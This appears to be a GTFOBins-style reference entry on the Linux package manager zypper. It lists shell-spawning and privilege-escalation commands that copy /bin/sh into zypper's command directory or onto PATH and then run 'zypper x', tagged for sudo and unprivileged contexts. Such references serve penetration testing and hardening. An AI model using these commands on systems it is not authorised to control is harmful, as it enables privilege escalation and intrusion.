GTFO · Tool

zypper

4 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux

The copy usually requires elevated privileges.

cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zypper/

ExecutionLinux

The copy usually requires elevated privileges.

cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zypper/

ExecutionPrivilege EscalationLinux

cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: sudo
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zypper/

ExecutionLinux

cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper x

Evidence: Upstream reference
Environment: Local host
Compatibility: Linux reference. macOS compatibility has not been checked for this command and execution context.
Context: unprivileged
Native: shell
MITRE: T1059
Refs: gtfobins.github.io/gtfobins/zypper/